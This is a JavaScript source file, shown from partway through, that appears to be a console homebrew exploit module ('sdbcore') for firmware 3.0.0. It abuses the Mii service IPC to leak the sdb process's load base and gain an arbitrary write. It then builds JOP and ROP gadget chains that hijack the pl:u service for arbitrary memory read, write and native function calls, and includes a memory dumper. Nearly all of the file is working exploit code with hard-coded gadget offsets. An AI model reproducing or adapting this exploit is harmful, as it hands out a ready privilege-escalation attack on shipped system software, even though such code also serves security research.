= crc2 >> 8; 111 | ret[b.length+3] = crc2 & 0xFF; 112 | 113 | return ret; 114 | } 115 | 116 | function AddOrReplace(hnd, key, unm, authorid) 117 | { 118 | var crcbuf = new Uint8Array(unm.length + key.length); 119 | crcbuf.set(unm); 120 | crcbuf.set(key, unm.length); 121 | crcbuf = crcMiiBuf(crcbuf, authorid); 122 | 123 | var new_mii = new Uint8Array(crcbuf.length + 4); 124 | new_mii.set(crcbuf); 125 | 126 | var new_mii_as_words = c8to32(new_mii); 127 | 128 | var ipc = sc.ipcMsg(13); 129 | ipc.datau32.apply(ipc, new_mii_as_words); 130 | ipc.sendTo(hnd).assertOk(); 131 | } 132 | 133 | function Move(hnd, key, pos) 134 | { 135 | var data = new Uint32Array(key.length / 4 + 1); 136 | data.set(c8to32(key)); 137 | data[data.length - 1] = pos; 138 | var ipc = sc.ipcMsg(12); 139 | ipc.datau32.apply(ipc, data); 140 | ipc.sendTo(hnd).assertOk(); 141 | } 142 | 143 | function Delete(hnd, key) 144 | { 145 | var data = c8to32(key); 146 | var ipc = sc.ipcMsg(14); 147 | ipc.datau32.apply(ipc, data); 148 | ipc.sendTo(hnd).assertOk(); 149 | } 150 | 151 | function GetCount(hnd) 152 | { 153 | ret = sc.ipcMsg(2).datau32(1).sendTo(hnd).assertOk().data[0]; 154 | // utils.log("mii count is " + ret.toString()); 155 | return ret; 156 | } 157 | 158 | function GetDefault(hnd, offset) 159 | { 160 | ret = sc.ipcMsg(7).datau32(offset).sendTo(hnd).assertOk(); 161 | return ret.data; 162 | } 163 | 164 | function GetLoadBase(hnd, authorid) 165 | { 166 | var unm = new Uint8Array([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x97, 0x02, 0x00, 0x00, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]); 167 | var key = c64to8([[0xcafe, 0], [0xcafe0080, 0]]); 168 | 169 | AddOrReplace(hnd, key, unm, authorid); 170 | 171 | var data = GetDefault(hnd, (0x010b4b20 + 0xC + 0x44 * (GetCount(hnd) - 1) - 0x01079438) / 4); 172 | 173 | Delete(hnd, key); 174 | 175 | return utils.add2([data[5], data[6]], -0x9c540); 176 | } 177 | 178 | function Wipe(hnd) 179 | { 180 | var buf = new Uint8Array(100*0x44); 181 | var count = sc.ipcMsg(9).data(1).bDescriptor(buf, buf.length, 0).sendTo(hnd).assertOk().data[0]; 182 | 183 | if(!count) 184 | return; 185 | 186 | utils.log("mii count to delete " + count.toString()); 187 | 188 | var key = new Uint8Array(16); 189 | 190 | for(mii = 0; mii < count; mii++) 191 | { 192 | for(j = 0; j < 16; j++) 193 | key[j] = buf[j + 48 + mii * 0x44]; 194 | Delete(hnd, key); 195 | } 196 | } 197 | 198 | 199 | function getServicePid(service) 200 | { 201 | var res = sc.ipcMsg(2).setType(3).datau64(0).sendTo(service).assertOk(); 202 | sc.svcCloseHandle(res.movedHandles[0]); 203 | return res.pid[0]; 204 | } 205 | 206 | function checkMiiCode(code) 207 | { 208 | var checker = [0,1,2,3,4,5,6,7,8,16,17,18,19,20,21,22,23,24,32,33,34,35,36,37,38,39,40,48,49,50,51,52,53,54,55,56,64,65,66,67,68,69,70,71,72,80,81,82,83,84,85,86,87,88,96,97,98,99,100,101,102,103,104,112,113,114,115,116,117,118,119,120,128,129,130,131,132,133,134,135,136]; 209 | return checker.indexOf(code) >= 0; 210 | } 211 | 212 | var sdbcore = function(sc, vers) { 213 | if (!sdbcore.prototype.importedMixins) { 214 | Object.keys(svcMixin).forEach((k) => { 215 | sdbcore.prototype[k] = svcMixin[k]; 216 | }); 217 | 218 | Object.keys(sploitMixin).forEach((k) => { 219 | sdbcore.prototype[k] = sploitMixin[k]; 220 | }); 221 | 222 | sdbcore.prototype.importedMixins = true; 223 | } 224 | 225 | utils.log('Starting sdbcore...'); 226 | this.sc = sc; 227 | window.sc = sc; 228 | this.initialized = false; 229 | this.vers = vers; 230 | this.offsets = this.get_offsets(); 231 | if (this.offsets == null) { 232 | utils.log('Unknown version: '+vers); 233 | return; 234 | } 235 | this.svcs = this.offsets['svc_dic']; 236 | 237 | this.sploitMixinInit(); 238 | 239 | utils.log('Pwning sdb...'); 240 | this.initialize(this.sc); 241 | utils.log('Pwned sdb...'); 242 | }; 243 | 244 | sdbcore.prototype.name = "sdb"; 245 | 246 | sdbcore.prototype.queryMem = function(addr, raw) { 247 | if(arguments.length == 1) 248 | raw = false; 249 | 250 | var meminfo = utils.add2(this.sdb_base, 0x40000); 251 | var pageinfo = utils.add2(this.sdb_base, 0x40028); 252 | 253 | var memperms = ['NONE', 'R', 'W', 'RW', 'X', 'RX', 'WX', 'RWX']; 254 | var memstates = ['NONE', '(1)', '(2)', 'CODE-STATIC', 'CODE', 'HEAP', 'SHARED-MEM-BLOCK', 'MODULE-CODE-STATIC', 'MODULE-CODE', 'STACK-MIRROR', 'THREAD-LOCAL-STORAGE', 'MEMORY_MIRROR', '(15)', 'RESERVED']; 255 | this.svc(0x6, [meminfo, pageinfo, addr]); 256 | 257 | var ms = this.rw.read(utils.add2(meminfo, 0x10)); 258 | ms = utils.paddr(ms); 259 | /*if(!raw && ms[1] == 0 && ms[0] < memstates.length) 260 | ms = memstates[ms[0]]; 261 | else if(!raw) 262 | ms = 'UNKNOWN'*/ 263 | var mp = this.rw.read(utils.add2(meminfo, 0x18)); 264 | if(!raw && mp[1] == 0 && mp[0] < memperms.length) 265 | mp = memperms[mp[0]]; 266 | 267 | var data = [this.rw.read(meminfo), this.rw.read(utils.add2(meminfo, 8)), ms, mp, this.rw.read(pageinfo)]; 268 | 269 | return data; 270 | }; 271 | 272 | 273 | sdbcore.prototype.svc = function(id, registers, dump_regs) { 274 | if (arguments.length == 2) 275 | dump_regs = false; 276 | if (!(id in this.svcs)) { 277 | utils.log('Error: sdb does not contain svc 0x'+id.toString(16)); 278 | return null; 279 | } 280 | return this.slowCall(this.svcs[id], registers, [], dump_regs); 281 | }; 282 | 283 | sdbcore.prototype.resetModule = function() { 284 | // wipe all miis 285 | this.handle = sc.ipcMsg(0).data(0xA523B78F).sendTo('mii:e').assertOk().movedHandles[0]; 286 | utils.log("mii handle is 0x" + this.handle.toString(16)); 287 | utils.log("wipe miis ..."); 288 | Wipe(this.handle); 289 | 290 | var resetcount = 0; 291 | var sdbPid = getServicePid(this.handle); 292 | var tid = utils.parseAddr('0100000000000039'); 293 | 294 | utils.log("reloading sdb, this might take a while ..."); 295 | 296 | while(1) 297 | { 298 | sc.svcCloseHandle(this.handle); 299 | sc.killAutoHandle(); 300 | 301 | // restart sdb 302 | sc.ipcMsg(1).data(sdbPid).sendTo('pm:shell').assertOk(); 303 | sdbPid = this.sc.ipcMsg(0).datau64(0, tid, 3).sendTo('pm:shell').data[0]; 304 | utils.log("new sdb pid: 0x" + sdbPid.toString(16)); 305 | 306 | this.handle = sc.ipcMsg(0).data(0xA523B78F).sendTo('mii:e').assertOk().movedHandles[0]; 307 | 308 | this.sdb_base = GetLoadBase(this.handle, this.authorid); 309 | // utils.log("this.sdb_base at " + utils.paddr(this.sdb_base)); 310 | 311 | if(checkMiiCode(this.sdb_base[0] >>> 24) && checkMiiCode((this.sdb_base[0] >>> 16) & 0xFF) && this.sdb_base[1] > 0) 312 | { 313 | utils.log("sdb pid is 0x" + sdbPid.toString(16) + " this.sdb_base at " + utils.paddr(this.sdb_base)); 314 | utils.log("** good base ***"); 315 | break; 316 | } 317 | resetcount++; 318 | } 319 | }; 320 | 321 | function add64(buf, offs, data) 322 | { 323 | buf[offs++] = data[0] & 0xFF; 324 | buf[offs++] = (data[0] >>> 8) & 0xFF; 325 | buf[offs++] = (data[0] >>> 16) & 0xFF; 326 | buf[offs++] = (data[0] >>> 24) & 0xFF; 327 | buf[offs++] = data[1] & 0xFF; 328 | buf[offs++] = (data[1] >>> 8) & 0xFF; 329 | buf[offs++] = (data[1] >>> 16) & 0xFF; 330 | buf[offs++] = (data[1] >>> 24) & 0xFF; 331 | } 332 | 333 | sdbcore.prototype.setupBuffers = function() { 334 | this.scratch = utils.add2(this.sdb_base, 0x14ED00); 335 | 336 | this.pdm_base = utils.add2(this.sdb_base, 0x150ec0); 337 | utils.log("this.pdm_base at " + utils.paddr(this.pdm_base)); 338 | 339 | var returnAddr = utils.add2(this.sdb_base, 0x2fc58); 340 | 341 | // rewrite pl:u cmd1 342 | var writeAddr = utils.add2(this.sdb_base, 0x99A98); 343 | var writeValue = utils.add2(this.sdb_base, 0x017d80); // gadget 0 344 | 345 | var buf = new Uint8Array(0x700); 346 | 347 | /// JOP chains 348 | // notice how nicely are these values compacted 349 | 350 | // miihax arb.write 351 | add64(buf, 0x0000, utils.add2(this.pdm_base, 0x0020)); // A 352 | add64(buf, 0x0008, writeAddr); 353 | add64(buf, 0x0010, utils.add2(this.sdb_base, 0x2d170)); // *B 354 | add64(buf, 0x0018, utils.add2(this.sdb_base, 0x6740)); 355 | add64(buf, 0x0020, utils.add2(this.pdm_base, 0x0010)); // *A; B 356 | add64(buf, 0x0028, utils.add2(this.sdb_base, 0x7160)); // *D 357 | add64(buf, 0x0030, utils.add2(this.sdb_base, 0x53430)); // *A + 0x10 358 | add64(buf, 0x0038, utils.add2(this.pdm_base, 0x0040)); // *A + 0x18; C 359 | add64(buf, 0x0040, utils.add2(this.pdm_base, 0x0028)); // *C; D 360 | add64(buf, 0x0048, utils.add2(this.pdm_base, 0x0060)); // *E; F 361 | add64(buf, 0x0050, utils.add2(this.sdb_base, 0x2f090)); // *D + 0x28 362 | add64(buf, 0x0058, utils.add2(this.pdm_base, 0x0048)); // *C + 0x18; E 363 | add64(buf, 0x0060, utils.add2(this.pdm_base, 0x0060)); // *F; G 364 | add64(buf, 0x0068, utils.add2(this.sdb_base, 0x7160)); // *G + 0x08 365 | add64(buf, 0x0070, utils.add2(this.sdb_base, 0x7160)); // *B + 0x60 366 | add64(buf, 0x0078, utils.add2(this.pdm_base, 0x0080)); // *F + 0x18; H 367 | add64(buf, 0x0080, utils.add2(this.pdm_base, 0x0098)); // *H; I 368 | add64(buf, 0x0088, utils.add2(this.sdb_base, 0x2d5f8)); // *F + 0x28 369 | add64(buf, 0x0090, utils.add2(this.sdb_base, 0x47cc8)); // *F + 0x30 370 | add64(buf, 0x0098, utils.add2(this.sdb_base, 0x7218)); // *G + 0x38 371 | add64(buf, 0x00a0, returnAddr); // *I + 0x08 372 | add64(buf, 0x00a8, writeValue); // *I + 0x10 373 | // note: b0 - b8 used 374 | add64(buf, 0x00c0, utils.add2(this.sdb_base, 0x2d5f8)); // *I + 0x28 375 | add64(buf, 0x00c8, utils.add2(this.sdb_base, 0x4b46c)); // *I + 0x30 376 | // pluhax arb.read and arb.write; both share 'first stage' 377 | add64(buf, 0x00b0, utils.add2(this.pdm_base, 0x0c0)); // A 378 | add64(buf, 0x00b8, utils.add2(this.pdm_base, 0x0d8)); // B 379 | // note: c0 - c8 used 380 | add64(buf, 0x00d0, utils.add2(this.sdb_base, 0x0026cc)); // *A + 16; gatget 4 381 | add64(buf, 0x00d8, utils.add2(this.pdm_base, 0x110)); // *B; C 382 | add64(buf, 0x00e0, utils.add2(this.pdm_base, 0x148)); // *E; F 383 | add64(buf, 0x00e8, utils.add2(this.pdm_base, 0x120)); // *E + 8; G 384 | add64(buf, 0x00f0, utils.add2(this.sdb_base, 0x0033d0)); // *A + 48; gatget 3 385 | add64(buf, 0x00f8, utils.add2(this.sdb_base, 0x01349c)); // *B + 32; gatget 10 386 | add64(buf, 0x0100, utils.add2(this.pdm_base, 0x0e0)); // *D + 8; E 387 | add64(buf, 0x0108, utils.add2(this.sdb_base, 0x025d08)); // *B + 48; gatget 6 388 | add64(buf, 0x0110, utils.add2(this.sdb_base, 0x04de9c)); // *C; gatget 5 389 | add64(buf, 0x0118, utils.add2(this.sdb_base, 0x014134)); // *C + 8; gatget 7 390 | add64(buf, 0x0120, utils.add2(this.pdm_base, 0x158)); // *G; H 391 | add64(buf, 0x0128, utils.add2(this.sdb_base, 0x02d6c8)); // *C + 24; gatget 8 392 | add64(buf, 0x0130, utils.add2(this.pdm_base, 0x168)); // Z 393 | add64(buf, 0x0138, utils.add2(this.pdm_base, 0x0f8)); // *B + 96; D 394 | add64(buf, 0x0140, utils.add2(this.sdb_base, 0x00638c)); // *B + 104; gatget 11 395 | add64(buf, 0x0148, utils.add2(this.sdb_base, 0x04dbf8)); // *F; gatget 12 396 | add64(buf, 0x0150, utils.add2(this.sdb_base, 0x02de0c)); // *F + 8; gatget14w 397 | add64(buf, 0x0158, utils.add2(this.sdb_base, 0x020C84)); // *G; returnW; *V + 40; returnR 398 | add64(buf, 0x0160, utils.add2(this.sdb_base, 0x002850)); // *G + 8; gatget16w 399 | add64(buf, 0x0168, utils.add2(this.pdm_base, 0x170)); // *Z; Y 400 | add64(buf, 0x0170, utils.add2(this.pdm_base, 0x1a8)); // *X; W 401 | add64(buf, 0x0178, utils.add2(this.pdm_base, 0x180)); // *X + 8; U 402 | add64(buf, 0x0180, utils.add2(this.pdm_base, 0x1b8)); // *U; T 403 | add64(buf, 0x0188, utils.add2(this.sdb_base, 0x0071e0)); // *F + 64; gatget15w 404 | add64(buf, 0x0190, utils.add2(this.pdm_base, 0x130)); // *X + 32; V 405 | add64(buf, 0x0198, utils.add2(this.sdb_base, 0x04dbf8)); // *Y + 40; gatget 15r 406 | add64(buf, 0x01a0, utils.add2(this.sdb_base, 0x002850)); // *X + 48; gatget 16r 407 | add64(buf, 0x01a8, utils.add2(this.sdb_base, 0x02dd5c)); // *W; gatget 14r 408 | add64(buf, 0x01b0, utils.add2(this.pdm_base, 0x170)); // *Z + 72; X 409 | add64(buf, 0x01b8, utils.add2(this.sdb_base, 0x035180)); // *T; gatget 17r 410 | // pluhax leak SP 411 | add64(buf, 0x01c0, utils.add2(this.pdm_base, 0x1c8)); // *C; D 412 | add64(buf, 0x01c8, utils.add2(this.sdb_base, 0x035180)); // *D; gatget 10 413 | add64(buf, 0x01d0, utils.add2(this.sdb_base, 0x002850)); // *D + 8; gatget 9 414 | add64(buf, 0x01d8, utils.add2(this.sdb_base, 0x011b38)); // gatget 7 415 | add64(buf, 0x01e0, utils.add2(this.pdm_base, 0x0c0)); // shared with arb.* 416 | add64(buf, 0x01e8, utils.add2(this.pdm_base, 0x1f0)); // A 417 | add64(buf, 0x01f0, utils.add2(this.pdm_base, 0x228)); // *A; gatget 5 ptr 418 | add64(buf, 0x01f8, utils.add2(this.pdm_base, 0x1f8)); // *A + 8; B 419 | add64(buf, 0x0200, utils.add2(this.pdm_base, 0x1c0)); // *B + 8; C 420 | add64(buf, 0x0208, utils.add2(this.pdm_base, 0x218)); // *C + 72; E 421 | add64(buf, 0x0210, utils.add2(this.pdm_base, 0x130)); // *A + 32; return ptr; shared with arb.* 422 | add64(buf, 0x0218, utils.add2(this.pdm_base, 0x1d8)); // *E; gatget 7 ptr 423 | add64(buf, 0x0220, utils.add2(this.sdb_base, 0x02d8d4)); // *A + 48; gatget 6 424 | add64(buf, 0x0228, utils.add2(this.sdb_base, 0x04de98)); // gatget 5 425 | // almost filled 426 | add64(buf, 0x0290, utils.add2(this.sdb_base, 0x04a3a8)); // *D + 200; gatget 8 427 | 428 | //add64(buf, 0x02e0, 0); // *C + 288; leaked SP 429 | 430 | // pluhax arb.call 431 | add64(buf, 0x0230, utils.add2(this.pdm_base, 0x0c0)); // shared with arb.* 432 | add64(buf, 0x0238, utils.add2(this.pdm_base, 0x240)); // A 433 | add64(buf, 0x0240, utils.add2(this.pdm_base, 0x268)); // *A; gatget 5 ptr 434 | add64(buf, 0x0248, utils.add2(this.pdm_base, 0x258)); // *A + 8; B 435 | add64(buf, 0x0250, utils.add2(this.pdm_base, 0x260)); // *B - 8; C 436 | add64(buf, 0x0258, utils.add2(this.pdm_base, 0x260)); // pdmNext1 + 8; gatget 11 ptr ptr 437 | add64(buf, 0x0260, utils.add2(this.pdm_base, 0x1b8)); // gatget 11 ptr; shared with arb.* 438 | add64(buf, 0x0268, utils.add2(this.sdb_base, 0x014104)); // gatget 5 439 | add64(buf, 0x0270, utils.add2(this.pdm_base, 0x130)); // pdmNext1 + 32; return ptr; shared with arb.* 440 | add64(buf, 0x0278, utils.add2(this.sdb_base, 0x01349c)); // *C + 24; gatget 6 441 | add64(buf, 0x0280, utils.add2(this.sdb_base, 0x02850)); // pdmNext1 + 48; gatget 10 442 | 443 | //add64(buf, 0x02a0, utils.add2(this.sdb_base, 0x2fc68)); // *A + 96; callAddr 444 | add64(buf, 0x02a8, utils.add2(this.sdb_base, 0x002c0)); // *A + 104; gatget 7 445 | 446 | add64(buf, 0x02d0, utils.add2(this.sdb_base, 0x4de98)); // pdmNext0; gatget 9 447 | 448 | //add64(buf, 0x02e8, 0); // storeAddr; returned X0 449 | //add64(buf, 0x02f0, 0); // storeAddr+8; returned X1 450 | 451 | 452 | add64(buf, 0x0300, [0x11223344, 0]); // testing value to read out 453 | 454 | utils.log("writePdm ..."); 455 | writePdm(buf); // seems like it works reliably only once 456 | 457 | key = c64to8([this.pdm_base, [0xde000080, 0]]); 458 | 459 | var payload = new Uint8Array(48); 460 | add64(payload, 24, this.sdb_base); // 32bit LSB is kinda limited, so is 32bit MSB 461 | 462 | AddOrReplace(this.handle, key, payload, this.authorid); 463 | 464 | utils.log("trigger ..."); 465 | Move(this.handle, key, 100); 466 | 467 | utils.log("cleanup ..."); 468 | sc.svcCloseHandle(this.handle); 469 | sc.killAutoHandle(); 470 | 471 | // prepare 472 | utils.log("entering pluhax ..."); 473 | 474 | // arb.read and arb.write 475 | this.ipcGat1 = utils.add2(this.sdb_base, 0x00f194); 476 | this.ipcGat2 = utils.add2(this.sdb_base, 0x03f8a8); 477 | this.ipcGat9 = utils.add2(this.sdb_base, 0x0304c0); 478 | this.ipcGat13r = utils.add2(this.sdb_base, 0x02d8d4); 479 | this.ipcGat13w = utils.add2(this.sdb_base, 0x029b50); 480 | this.pdmEntry = utils.add2(this.pdm_base, 0x00b0); // JOP chain; shared for arb.read and arb.write 481 | this.pdmNext = utils.add2(this.pdm_base, 0x0128); // second stage JOP chain for arb.read; offset 8 (=0x130) 482 | 483 | // sp leak 484 | this.pdmLeakE = utils.add2(this.pdm_base, 0x1e0); 485 | 486 | // arb.call 487 | this.pdmCallE = utils.add2(this.pdm_base, 0x230); 488 | 489 | // shared for all calls (or ignored in some) 490 | this.ipcData = new Uint32Array(24); 491 | this.ipcData[15] = this.ipcGat1[0]; 492 | this.ipcData[16] = this.ipcGat1[1]; 493 | this.ipcData[17] = this.ipcGat9[0]; 494 | this.ipcData[18] = this.ipcGat9[1]; 495 | this.ipcData[19] = this.ipcGat2[0]; 496 | this.ipcData[20] = this.ipcGat2[1]; 497 | 498 | // run 499 | utils.log("trigger ..."); // return address: 0x020C84 500 | 501 | // get SP 502 | this.sdbPluSP = this.getSP(); 503 | utils.log("pluSP at " + utils.paddr(this.sdbPluSP)); 504 | 505 | // arb.call - prepare stack (permanent; maybe check after some calls?) 506 | this.write8(utils.add2(this.pdm_base, 0x2e8), utils.add2(this.sdbPluSP, 200)); // storeAddr (pdmNext0+24) 507 | this.write8(utils.add2(this.sdb_base, 0x579a8), utils.add2(this.sdbPluSP, 216)); // ROP chain 0 508 | this.write8(utils.add2(this.sdb_base, 0x01d44), utils.add2(this.sdbPluSP, 248)); // ROP chain 1 509 | this.write8(utils.add2(this.sdb_base, 0x4e950), utils.add2(this.sdbPluSP, 296)); // ROP chain 2 510 | this.write8(utils.add2(this.sdb_base, 0x1a0b8), utils.add2(this.sdbPluSP, 488)); // ROP chain 3 511 | this.write8(utils.add2(this.sdb_base, 0x3ca1c), utils.add2(this.sdbPluSP, 776)); // gatget 8 512 | this.write8(utils.add2(this.pdm_base, 0x2d0), utils.add2(this.sdbPluSP, 456)); // pdmNext0 513 | this.write8(utils.add2(this.pdm_base, 0x250), utils.add2(this.sdbPluSP, 760)); // pdmNext1 514 | }; 515 | 516 | sdbcore.prototype.getSP = function() { 517 | // there is an offset between returned value and actualy saved one 518 | // i do not know if it is possible to get random addres that will make this fail 519 | // if so, just use read4 on this.pdm_base + 0x2e0 and from result subtract 0x3A8 instead 520 | 521 | this.ipcData[5] = this.pdmLeakE[0]; 522 | this.ipcData[6] = this.pdmLeakE[1]; 523 | 524 | var sp = [0,0] 525 | var ipc = sc.ipcMsg(1); 526 | ipc.datau32.apply(ipc, this.ipcData); 527 | sp[0] = ipc.sendTo('pl:u').cmdId; 528 | sp[1] = this.read4(utils.add2(this.pdm_base, 0x2e0 + 4)); // 32bit MSB 529 | 530 | return utils.sub2(sp, 0x328); 531 | } 532 | 533 | 534 | sdbcore.prototype.initialize = function(sc) { 535 | if (this.initialized) { 536 | utils.log('Already initialized...returning.'); 537 | return; 538 | } 539 | 540 | this.authorid = getMiiAuthorId(); 541 | utils.log("Author ID: " + Array.apply([], this.authorid).join(",")); 542 | 543 | this.resetModule(); 544 | this.setupBuffers(); 545 | 546 | // write / read test 547 | var testAddr = utils.add2(this.pdm_base, 0x300); 548 | 549 | // write value 550 | utils.log("... write"); 551 | this.write8([0x29910BAF, 0x11223344], testAddr); 552 | // read back 553 | utils.log("... read"); 554 | var retVal = this.read8(testAddr); 555 | utils.log("read value: " + utils.paddr(retVal)); 556 | 557 | utils.log('... call'); 558 | utils.log('call: ' + utils.paddr(this.slowCall(0x02868, [[0xF00D1234, 0x1122aabb]]))); 559 | 560 | if (this.vers == '3.0.0') { 561 | utils.log('Setting up RO hax...'); 562 | this.setup_ro_hax(); 563 | } 564 | 565 | this.initialized = true; 566 | }; 567 | 568 | sdbcore.prototype.get_offsets = function() { 569 | var offset_dic = { 570 | '3.0.0' : { 571 | 'memcpy' : 0x3a5f8, 572 | 'svc_dic' : { 573 | 0x2 : 0x2fbf8, 574 | 0x3 : 0x2fc00, 575 | 0x4 : 0x2fc08, 576 | 0x5 : 0x2fc10, 577 | 0x6 : 0x2fc18, 578 | 0x7 : 0x2fc30, 579 | 0x8 : 0x2fc3c, 580 | 0x9 : 0x2fc50, 581 | 0xA : 0x2fc58, 582 | 0xB : 0x2fc60, 583 | 0xC : 0x2fc68, 584 | 0x10 : 0x2fc80, 585 | 0x12 : 0x2fc88, 586 | 0x13 : 0x2fc90, 587 | 0x14 : 0x2fc98, 588 | 0x16 : 0x2fca0, 589 | 0x18 : 0x2fca8, 590 | 0x19 : 0x2fcc0, 591 | 0x1A : 0x2fcc8, 592 | 0x1B : 0x2fcd0, 593 | 0x1C : 0x2fcd8, 594 | 0x1D : 0x2fce0, 595 | 0x1F : 0x2fce8, 596 | 0x21 : 0x2fd00, 597 | 0x22 : 0x2fd08, 598 | 0x25 : 0x2fd10, 599 | 0x26 : 0x2fd28, 600 | 0x27 : 0x2fd30, 601 | 0x28 : 0x2fd38, 602 | 0x29 : 0x2fd40, 603 | 0x2c : 0x2fd58, 604 | 0x2d : 0x2fd60, 605 | 0x40 : 0x2fd80, 606 | 0x41 : 0x2fda0, 607 | 0x43 : 0x2fdb8, 608 | 0x44 : 0x2fdd0, 609 | 0x50 : 0x2fd68 610 | } 611 | } 612 | }; 613 | if (this.vers in offset_dic) { 614 | return offset_dic[this.vers]; 615 | } 616 | return null; 617 | }; 618 | 619 | sdbcore.prototype.memdump = function(start, totalSize, name) { 620 | var end = utils.add2(start, totalSize); 621 | if (arguments.length == 2) { 622 | name = 'memdumps_sdb/sdb - '+utils.paddr(start) + ' - ' + utils.paddr(end) + '.bin'; 623 | } 624 | 625 | var buf = new Uint32Array(8 * 1024 * 1024 / 4); 626 | var addr = sc.read8(sc.getAddr(buf), 4); 627 | 628 | utils.log('Dumping memory to '+name+'!'); 629 | for(var idx = 0; idx < totalSize; idx += 0x700000) { 630 | size = totalSize - idx; 631 | size = size > 0x700000 ? 0x700000 : size; 632 | this.sc.gc(); 633 | var obj = new sdbown(buf); 634 | var base = this.leakPrev(8); 635 | var sdbbuf = utils.add2(base, 0x100000); 636 | 637 | this.slowCall(this.offsets['memcpy'], [sdbbuf, start, size]); 638 | obj.svc.leak(); 639 | 640 | this.sc.memview(utils.add2(addr, 0x100000), size, function(ab) { 641 | var view = new Uint8Array(ab); 642 | var xhr = new XMLHttpRequest(); 643 | xhr.open('POST', '/filedump', false); 644 | xhr.setRequestHeader('Content-Type', 'application/octet-stream'); 645 | xhr.setRequestHeader('Content-Disposition', name); 646 | xhr.send(view); 647 | }); 648 | } 649 | this.sc.gc(); 650 | utils.log('Dumped memory succesfully!'); 651 | }; 652 | 653 | sdbcore.prototype.slowCall = function(funcptr, args, fargs, dump_regs) { 654 | if(typeof(funcptr) == 'number') { 655 | funcptr = utils.add2(this.sdb_base, funcptr); 656 | } 657 | switch(arguments.length) { 658 | case 1: 659 | args = []; 660 | case 2: 661 | fargs = []; 662 | case 3: 663 | dump_regs = false; 664 | } 665 | 666 | for (var i = 0; i < args.length; i++) { 667 | if (typeof(args[i]) == 'number') { 668 | args[i] = [args[i], 0]; 669 | } 670 | } 671 | 672 | var scratchOff = 0; 673 | 674 | // Write registers for native code. 675 | if(args.length > 0) { 676 | for(var i = 0; i < 8 && i < args.length; i++) { 677 | if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) { 678 | var size = args[i].byteLength; 679 | var saddr = utils.add2(this.scratch, scratchOff); 680 | this.memcpyFromBrowser(saddr, sc.getArrayBufferAddr(args[i]), size); 681 | this.write8(saddr, utils.add2(this.sdbPluSP, 128 + 8 * i)); 682 | scratchOff += size; 683 | if(scratchOff & 0x7) 684 | scratchOff = (scratchOff & 0xFFFFFFF8) + 8; 685 | } else 686 | this.write8(args[i], utils.add2(this.sdbPluSP, 128 + 8 * i)); 687 | } 688 | } 689 | 690 | this.write8(funcptr, utils.add2(this.pdm_base, 0x2a0)); 691 | 692 | this.ipcData[5] = this.pdmCallE[0]; 693 | this.ipcData[6] = this.pdmCallE[1]; 694 | 695 | var ipc = sc.ipcMsg(1); 696 | ipc.datau32.apply(ipc, this.ipcData); 697 | var lo = ipc.sendTo('pl:u').cmdId; 698 | 699 | scratchOff = 0; 700 | if(args.length > 0) { 701 | for(var i = 0; i < 30 && i < args.length; i++) { 702 | if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) { 703 | var size = args[i].byteLength; 704 | var saddr = utils.add2(this.scratch, scratchOff); 705 | this.memcpyToBrowser(args[i], saddr, size); 706 | scratchOff += size; 707 | if(scratchOff & 0x7) 708 | scratchOff = (scratchOff & 0xFFFFFFF8) + 8; 709 | } 710 | } 711 | } 712 | return [lo, this.read4(utils.add2(this.pdm_base, 0x2e8 + 4))]; 713 | }; 714 | 715 | sdbcore.prototype.read8 = function(addr) { 716 | return [this.read4(addr), this.read4(utils.add2(addr, 4))]; 717 | }; 718 | 719 | sdbcore.prototype.read4 = function(addr) { 720 | var id2 = new Uint32Array(24); 721 | id2[3] = this.pdmNext[0]; 722 | id2[4] = this.pdmNext[1]; 723 | id2[5] = this.pdmEntry[0]; 724 | id2[6] = this.pdmEntry[1]; 725 | id2[9] = addr[0]; 726 | id2[10] = addr[1]; 727 | id2[13] = this.ipcGat13r[0]; 728 | id2[14] = this.ipcGat13r[1]; 729 | id2[15] = this.ipcGat1[0]; 730 | id2[16] = this.ipcGat1[1]; 731 | id2[17] = this.ipcGat9[0]; 732 | id2[18] = this.ipcGat9[1]; 733 | id2[19] = this.ipcGat2[0]; 734 | id2[20] = this.ipcGat2[1]; 735 | 736 | var ipc = sc.ipcMsg(1); 737 | ipc.datau32.apply(ipc, id2); 738 | return ipc.sendTo('pl:u').cmdId; 739 | }; 740 | 741 | sdbcore.prototype.read2 = function(addr) { 742 | throw 'sdbcore.read2 not implemented'; 743 | }; 744 | 745 | sdbcore.prototype.read1 = function(addr) { 746 | throw 'sdbcore.read1 not implemented'; 747 | }; 748 | 749 | sdbcore.prototype.write8 = function(val, addr) { 750 | var id = new Uint32Array(24); 751 | id[3] = addr[0]; 752 | id[4] = addr[1]; 753 | id[5] = this.pdmEntry[0]; 754 | id[6] = this.pdmEntry[1]; 755 | id[9] = val[0]; 756 | id[10] = val[1]; 757 | id[13] = this.ipcGat13w[0]; 758 | id[14] = this.ipcGat13w[1]; 759 | id[15] = this.ipcGat1[0]; 760 | id[16] = this.ipcGat1[1]; 761 | id[17] = this.ipcGat9[0]; 762 | id[18] = this.ipcGat9[1]; 763 | id[19] = this.ipcGat2[0]; 764 | id[20] = this.ipcGat2[1]; 765 | 766 | var ipc = sc.ipcMsg(1); 767 | ipc.datau32.apply(ipc, id); 768 | ipc.sendTo('pl:u'); 769 | }; 770 | 771 | sdbcore.prototype.write82 = function(val, addr) { 772 | var id = new Uint32Array(24); 773 | id[3] = addr[0]; 774 | id[4] = addr[1]; 775 | id[5] = this.pdmEntry[0]; 776 | id[6] = this.pdmEntry[1]; 777 | id[9] = val[0]; 778 | id[10] = val[1]; 779 | id[13] = this.ipcGat13w[0]; 780 | id[14] = this.ipcGat13w[1]; 781 | id[15] = this.ipcGat1[0]; 782 | id[16] = this.ipcGat1[1]; 783 | id[17] = this.ipcGat9[0]; 784 | id[18] = this.ipcGat9[1]; 785 | id[19] = this.ipcGat2[0]; 786 | id[20] = this.ipcGat2[1]; 787 | 788 | var ipc = sc.ipcMsg(1); 789 | ipc.datau32.apply(ipc, id); 790 | ipc.sendTo('pl:u'); 791 | }; 792 | 793 | sdbcore.prototype.write4 = function(val, addr) { 794 | throw 'sdbcore.write4 not implemented'; 795 | }; 796 | 797 | sdbcore.prototype.write2 = function(val, addr) { 798 | throw 'sdbcore.write2 not implemented'; 799 | }; 800 | 801 | 